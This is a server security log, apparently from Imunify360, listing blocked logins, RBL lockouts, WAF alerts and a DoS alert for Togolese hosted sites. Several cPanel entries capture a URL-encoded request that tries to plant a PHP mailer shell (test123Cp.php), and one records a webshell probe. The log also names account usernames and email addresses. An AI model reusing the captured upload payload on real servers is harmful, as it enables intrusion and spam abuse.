2026-06-23 18:24:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:57322: 535 Incorrect authentication data (set_id=todor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:24:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:24:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:24:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12776: 535 Incorrect authentication data (set_id=kb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:24:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:25470: 535 Incorrect authentication data (set_id=smm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:24:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:17766: 535 Incorrect authentication data (set_id=stagiaire)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:25:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:25:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:49166: 535 Incorrect authentication data (set_id=games)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:25:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:25:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:25:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50360: 535 Incorrect authentication data (set_id=kwilliams)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:25:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:25:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45028: 535 Incorrect authentication data (set_id=sued)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:25:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:25:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:12620: 535 Incorrect authentication data (set_id=apicpicturetype)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:25:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40860: 535 Incorrect authentication data (set_id=moderator)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:25:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:25:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:25672: 535 Incorrect authentication data (set_id=debian)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.27.37
country_id: 2750405
description:
[2026-06-23 18:27:22 +0000] info [cpaneld] 195.63.27.37 - cfpjusti "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.59.177.87
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/infrastructures-400-salles-de-classe-construites-en-2022 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.27.188
country_id: 2750405
description:
[2026-06-23 18:28:14 +0000] info [cpaneld] 195.63.27.188 - cipvzfnv "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.207.189.253
country_id: 2363686
description:
[2026-06-23 18:29:02 +0000] info [webmaild] 41.207.189.253 - kakue@togointerim.net "POST /cpsess9724261469/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.118.10] != Current IP Address [41.207.189.253]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.84.45
country_id: 2921044
description:
[2026-06-23 18:29:36 +0000] info [cpaneld] 217.181.84.45 - newglevfer "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.170.150
country_id: 1835841
domain: www.snbbrasserie.snb.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/bighostingsnbd/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 18:30:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49012: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.12
country_id: 690791
description:
Jun 23 18:30:56 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.13.7.239
country_id: 1814991
description:
Jun 23 18:34:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.13.7.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.177.13.51
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/6b15e20836ed1e2731b8b4faac93d68e_L-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/6b15e20836ed1e2731b8b4faac93d68e_L.webp 600w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.80.150.73
country_id: 3190538
description:
[2026-06-23 18:35:42 +0000] info [cpaneld] 195.80.150.73 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 18:37:17 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 18:38:07 +0000] info [cpaneld] 13.222.202.238 - togoinrdceh "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 18:38:59 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.232.201
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.147.232.201||TA:45.147.232.201||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 18:42:14 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50142: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.35
country_id: 6252001
description:
[2026-06-23 18:42:59 +0000] info [cpaneld] 217.181.67.35 - doufelg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-23 18:43:45 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44378: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 207.102.138.19
country_id: 6251999
description:
207.102.138.19 - - [23/Jun/2026:18:45:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:207.102.138.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.167.34.120
country_id: 6252001
description:
Jun 23 18:45:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.167.34.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.66
country_id: 130758
description:
Jun 23 18:46:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 18:48:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42588: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 23 18:50:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.53.163
country_id: 2260494
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211029-WA0195-1.jpg 1600w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211029-WA0195-1-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211029-WA0195-1-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211029-WA0195-1-1024x682.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211029-WA0195-1-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.90.29.213
country_id: 1522867
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/999c76 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 18:55:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37906: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.72.31.25
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/Sheikh-Shakhbout-Ben-Nahyan-Al-Nahyan-et-Faure-Gnassingbe-768x485.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/10/Sheikh-Shakhbout-Ben-Nahyan-Al-Nahyan-et-Faure-Gnassingbe-768x485-300x189.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.128.191.144
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/les-vertus-du-kinkeliba/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.161.13
country_id: 2363686
description:
[2026-06-23 18:57:23 +0000] info [webmaild] 102.64.161.13 - fagbemedji@togointerim.net "POST /cpsess8795035487/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.46.177] != Current IP Address [102.64.161.13]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 18:59:39 +0000] info [cpaneld] 20.40.59.119 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 2.58.13.183
country_id: 3175395
description:
2.58.13.183 - - [23/Jun/2026:18:59:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12962661&pdata=https%253A%252F%252F24heureinfo.tg%252Fdiplomatie%252Fpage%252F29%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782241191 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/diplomatie/page/29/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.6199.1703 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:2.58.13.183


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 19:01:59 +0000] info [cpaneld] 20.40.59.119 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.48.216
country_id: 2260494
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/b5a691 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.87.219.186
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:212.87.219.186||TA:212.87.219.186||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.214.117.137
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1542651875 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 107.189.0.68
country_id: 2960313
description:
Denial of Service (DoS) attack was discovered from 107.189.0.68: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.120.48
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/797270 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.28.87.103
country_id: 6252001
description:
2026-06-23 19:06:27 dovecot_plain authenticator failed for H=(8bsxby85pmwd5xvfsbearcb) [149.28.87.103]:53404: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.247
country_id: 1880251
description:
47.128.112.247 - - [23/Jun/2026:19:07:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6538351&pdata=https%253A%252F%252Fcivilemagazine.tg%252Falliance-etats-sahel-position%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782241655 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/alliance-etats-sahel-position/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.247


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.89.142.50
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/gg-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/gg-1024x683.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/gg-768x512.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/gg.webp 1536w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [23/Jun/2026:19:10:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868180&pdata=http%253A%252F%252Fcecap.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782241807 HTTP/1.1" 302 0 cecap.tg "http://cecap.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.129.82.176
country_id: 2260494
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/486926 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.182.142
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/909cb5 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.71.101
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/b77bea67db0bbf876072a9f87829ba4b_XL.webp 602w, http:/togodailynews.tg/wp-content/uploads/2026/06/b77bea67db0bbf876072a9f87829ba4b_XL-300x219.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.212.194.64
country_id: 6252001
description:
[2026-06-23 19:13:13 +0000] info [whostmgrd] 54.212.194.64 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 54.212.194.64
country_id: 6252001
description:
[2026-06-23 19:13:15 +0000] info [whostmgrd] 54.212.194.64 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.1
country_id: 6252001
description:
205.169.39.1 - - [23/Jun/2026:19:12:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105944&pdata=http%253A%252F%252Fcecap.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782241950 HTTP/1.1" 302 0 cecap.tg "http://cecap.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.1


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.77.53.6
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/c8beb0 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.71.209.213
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0094.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0094-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0094-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0094-1024x683.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0094-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.190.245.223
country_id: 933860
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/01/1895cdc342e37edebf9179cff5b4cc32_L.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2025/01/1895cdc342e37edebf9179cff5b4cc32_L-300x167.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.66
country_id: 130758
description:
Jun 23 19:16:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.66 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-23 19:18:23 +0000] info [cpaneld] 5.230.153.33 NEW wcnyaruu:AFba40DgAzjKhgtR address=5.230.153.33,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 19:19:12 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54510: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.57.217
country_id: 337996
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1995807072 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.160.153.158
country_id: 1269750
description:
Jun 23 19:20:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.160.153.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 58.147.189.67
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0115-696x522.jpg 696w, http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211027-WA0115-696x522-300x225.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.214.217.78
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1222346880 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.176.65
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:le-pr4sp-lance-pour-renforcer-le-systeme-de-sante-au-togo/||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.186.60.197
country_id: 149590
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-pologne-cooperation-renforcee-dans-le-numerique-et-les-investissements HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: belali.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; SM-A225F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.5 ByteLocale/en ByteFullLocale/en Region/GB Spark/1.1.9.4-bugfix AppVersion/26.4.5 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 201.124.56.177
country_id: 3996063
description:
